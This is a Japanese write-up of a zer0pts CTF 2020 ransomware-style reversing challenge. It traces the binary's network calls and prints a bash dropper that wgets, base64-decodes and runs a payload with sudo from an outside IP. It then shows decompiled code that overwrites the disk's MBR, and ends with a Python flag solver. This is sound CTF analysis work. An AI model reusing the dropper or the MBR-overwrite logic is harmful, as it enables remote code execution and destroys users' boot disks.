When you're infected with a ransomware: Don't send money. Just break the cipher by yourself.
The attached file may harm your computer. DO NOT RUN IT on your host machine.
渡されたバイナリはgo言語製でした
この時点でバイトコードを読むのは諦めてstraceで処理を追うことにしました
23:00:21.818592 getpeername(5, {sa_family=AF_INET, sin_port=htons(8033), sin_addr=inet_addr("13.230.161.88")}, [112->16]) = 0
...
23:00:21.819688 write(5, "GET /raindrop HTTP/1.1\r\nHost: 13"..., 107) = 107
...
どうやら http://13.230.161.88:8033/raindrop をダウンロードしているようです
落としてきたraindrop
を見てみると
#!/bin/bash
if [ "$(whoami)" != "ImSureItsOnVM" ]; then
echo "****** zer0pts CTF 2020 ******"
echo "* *"
echo "* You're not our target! *"
echo "* *"
echo "******************************"
else
wget -nv -O /tmp/.malchan http://13.230.161.88:8033/malchan 1> /dev/null 2> /dev/null
cat /tmp/.malchan | base64 -d > /tmp/.malchan.bin 2> /dev/null
chmod +x /tmp/.malchan.bin 2> /dev/null
sudo /tmp/.malchan.bin 2> /dev/null
rm -f /tmp/.malchan.bin 2> /dev/null
rm -f /tmp/.malchan 2> /dev/null
rm -f /tmp/.raindrop 2> /dev/null
fi
今度は http://13.230.161.88:8033/malchan をダウンロードし、base64デコードしているようです
このmalchan.binがマルウェアの本体です
32bit ELFなのでGhidraで調べてみましょう
void FUN_0804830f(void)
{
int __fd;
ssize_t sVar1;
undefined *puVar2;
byte abStack512 [512];
puVar2 = &stack0xfffffdf8;
__fd = open(s_/dev/sda_0804a028,2);
if (-1 < __fd) {
puVar2 = &stack0xfffffdec;
sVar1 = read(__fd,abStack512,0x200);
if (sVar1 == 0x200) {
FUN_08048367(abStack512);
lseek(__fd,0,0);
write(__fd,abStack512,0x200);
close(__fd);
return;
}
}
*(undefined4 *)(puVar2 + -4) = 0;
/* WARNING: Subroutine does not return */
*(undefined4 *)(puVar2 + -8) = 0x8048398;
exit(*(int *)(puVar2 + -4));
}
/dev/sdaに対して512Bのデータを書き込んでいます
ディスク先頭の512Bを使うものといえばMBRのIPLですね
実機でやるのは流石にマズいので、vmを用意して発火させてみました
IPLを乗っとられているので、起動時にflagを求められました
0.1BTC(≒80000円)も払えないのでMBRのIPLを解析していきましょう
MBRのIPLは互換性の為に16bitモードで動作するので、当然このバイナリも16bitバイナリです
Ghidraにx86の16bitバイナリとして逆コンパイルしてもらうと割り込み処理の他に以下のルーチンが見つかります
undefined2 __cdecl16near FUN_0000_0041(void)
{
byte *pbVar1;
byte bVar2;
int cnt;
byte *input;
byte *key;
undefined2 unaff_ES;
undefined2 unaff_DS;
bVar2 = 0;
input = (byte *)0x1a7;
key = (byte *)0x17d;
cnt = 0x29;
do {
pbVar1 = input;
input = input + 1;
bVar2 = *pbVar1 + bVar2;
bVar2 = bVar2 >> 1 | bVar2 * -0x80;
pbVar1 = key;
key = key + 1;
if (bVar2 != *pbVar1) {
return 1;
}
cnt = cnt + -1;
} while (cnt != 0);
if (*input != *key) {
return 1;
}
return 0;
}
あとはIPLから0x17d以降の41Bを、このルーチンの逆関数にかけるだけです
#!/usr/bin/env python3
def rol(x):
return ((x << 1) + ((x & 0x80) // 0x80)) & 0xff
e = list(map(lambda x: int(x, 16), "3D 51 E1 88 7C 78 F5 38 45 45 4C 50 D7 10 2F 47 4D CE 87 67 D7 0E 31 C2 85 72 60 D2 14 AC 7F 6F DA 94 73 5D 51 D2 13 2E D5".split()))
o = []
o.append(chr((e[0] << 1) + ((e[0] & 0x80) * 0x80)))
for i in e[1:]:
o.append(chr((rol(i) - e[len(o) - 1]) & 0xff))
print(''.join(o))
zer0pts{REST_IN_SPAGHETTI_NEVER_FORGETTI}
このマルウェアを発火させても、EFIブートの場合は正常に起動するみたいです
IPLの位置の違いが原因でしょう